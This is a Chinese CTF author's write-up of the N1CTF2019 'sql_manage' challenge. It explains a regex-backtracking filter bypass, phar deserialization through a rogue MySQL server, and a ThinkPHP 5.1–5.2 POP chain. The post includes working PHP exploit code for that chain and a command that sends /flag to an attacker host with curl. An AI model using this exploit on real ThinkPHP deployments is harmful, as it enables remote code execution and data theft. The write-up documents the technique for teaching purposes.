N1CTF2019 sql_manage出题笔记
2019-09-08 17:26:11

[toc]

前言

准备了好久的N1CTF终于结束了,师傅们都在很用心的出题和运维,然而还是出了不少事故,希望大佬们体谅一下orz! 膜@wonderkun师傅的非预期链(感觉大佬们都不想做我这道题,可能出的太烂了。) 这道题出题思路来自于TSec 2019 议题 PPT:Comprehensive analysis of the mysql client attack chain,但是核心还是tp5.2反序列化POP链挖掘(预期可以通杀5.1.x和5.2.x)。

正则回溯

这个点p牛在codebreaking已经出过题了,没想到还是难到了一大堆人。具体可以看p牛的文章 https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html 题目的正则

1
2
3
if(preg_match('/sleepBENCHMARKprocesslistGET_LOCKinformation_schemainto.+?outfileinto.+?dumpfile\/\*.*\*\//is', $query)) {
die('Go out!!!');
}

使用select xx into/*1000000个a*/dumpfile;即可绕过。

Mysql Phar反序列化

很早之前@zsx师傅在文章Phar与Stream Wrapper造成PHP RCE的深入挖掘中提到了本地mysql LOAD DATA LOCAL INFILE可以触发phar反序列化。image.png 这里提到了本地受限于这两个配置

1
2
3
[mysqld]
local-infile=1
secure_file_priv=""

但其实还受限于open_basedir image.png 这其实也就是用Rogue Mysql Server只能读到/tmp/目录下文件的原因。 另外mysql用户还需要拥有insert权限,否则会执行报错,因此在题目中直接直接执行LOAD DATA LOCAL INFILE去触发phar反序列化是不行的。 @LoRexxar’师傅在今年的Tsec上分享的议题https://paper.seebug.org/998/中提到了mysql客户端任意文件读取可以配合上面的trick来进行phar反序列化。因为其原理就是当Mysql ClientRogue Mysql Server发送任意查询语句时,Rogue Mysql Server可以回复一个包含想要读取文件名的file-transfer请求,让Mysql Client执行LOAD DATA LOCAL INFILE语句把文件读取出来并发送给Rogue Mysql Server。此时我们把文件名格式改为phar://filename,让其执行LOAD DATA LOCAL INFILE语句即可触发phar反序列化。 ps:其实@zedd师傅在SUCTF出的题目Upload Labs 2中的预期解就是这个,他也发了文章https://xz.aliyun.com/t/6057#toc-6,当时我还想着跟我出的题撞了,没想到还是有很多人不知道,orz。

TP5.1.x-5.2.x反序列化POP链分析

因为Laravel的反序列化链实在太多了,而thinkphp的基本没有人提到过,只有前段时间的一篇文章挖掘暗藏ThinkPHP中的反序列利用链,所以我就尝试挖了一下tp5.1的。 原本想的是挖一条全新的链,但是仔细看了下发现入口点只能找到文章中提到的那个地方,所以就想着利用这个入口再挖一条,最后挖到了一条可以通杀tp5.1.x-5.2.x的,因为tp5.1的文章中已经公开了思路,所以这里就拿tp5.2出了题。 首先是入口点 think\process\pipes\windows image.png _file_exists可以触发__toString方法 image.png 全局搜索__toString方法,跟进think\model\concern\Conversion image.png 查看其toJson方法,继续跟进toArray方法。 image.png 在这里文章用$relation->visible($name);来触发Request类的__call方法,但是tp5.2中这个方法被删掉了。 image.png 我们来看一下getAttr方法 image.png image.png 跟进getValue,漏洞点在这里。 image.png我们依次回溯下$closure,$value,$this->data $closure = $this->withAttr[$fieldName];$this->withAttr我们可控,看下$fieldName = $this->getRealFieldName($name); 跟进getRealFieldName image.png $strict默认为true,所以传入的字符串会原样返回。 image.png 传入的是$name,也是getAttr的参数$key,也是$data的键名。$data$this->data, $this->relation合并的结果,因此$closure我们可控。 image.png 再来看$value,跟进getData方法。 image.png 如果$this->data存在$fieldName键名,则返回对应的键值,根据上面的分析我们刚好可以进入这个if中,而$value的返回值就是$closure对应的键值,因此$value我们也可控。 image.png 回头看一下漏洞点,$closure,$value我们都可控,而$this->data是一个我们用来控制$closure,$value返回值的数组。 image.png 此时我们可以怎么利用呢? Example: image.png 其他的利用函数我并没有仔细去找,有兴趣的师傅可以找找看。 exp: 这个exp是我对着tp5.1的源码构造的可能和5.2有点不太一样,但是可以直接用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}

namespace think\model\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}

trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");

public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}

namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}

namespace {
$Conver = new think\model\Pivot("curl http://vps/ -d '`tac /flag`';");
$payload = new think\process\pipes\Windows($Conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>

sql_manage

首先在源码的配置文件中找到mysql的用户名和密码 image.png 查看可写目录 image.png 构造phar文件,使用正则回溯绕过限制写文件

1
2
3
if(preg_match('/sleepBENCHMARKprocesslistGET_LOCKinformation_schemainto.+?outfileinto.+?dumpfile\/\*.*\*\//is', $query)) {
die('Go out!!!');
}
1
2
3
4
5
6
7
8
9
10
11
12
13
#coding=utf-8
import requests
url = "http://47.91.213.248:8001/query"
a = 'a'*1000000
data = {
"query": "select 0x123456 into/*{}*/dumpfile '/tmp/smi1e123.phar';".format(a),
"code": "nuk9"
}
cookie = {
"PHPSESSID":"ik01ngjcquttltalvf7vk6aqap"
}

print(requests.post(url=url,data=data,cookies=cookie).text)

load_file一下可以看到写入成功 image.png 使用这个项目https://github.com/Gifts/Rogue-MySql-Server 把文件名改为phar格式 image.png host改为Rogue-MySql-Server地址,用户名密码随意。  image.png 服务端nc,然后执行任意sql语句触发phar反序列化即可收到flag。 image.png

后记

由于撞车ByteCTF和TMCTF,并没有很多师傅在刚这道题orz。出题时也踩了不少坑,emmm虽然题目很烂但是还是想说出题不易,希望师傅们认真对待。

Prev
2019-09-08 17:26:11
Next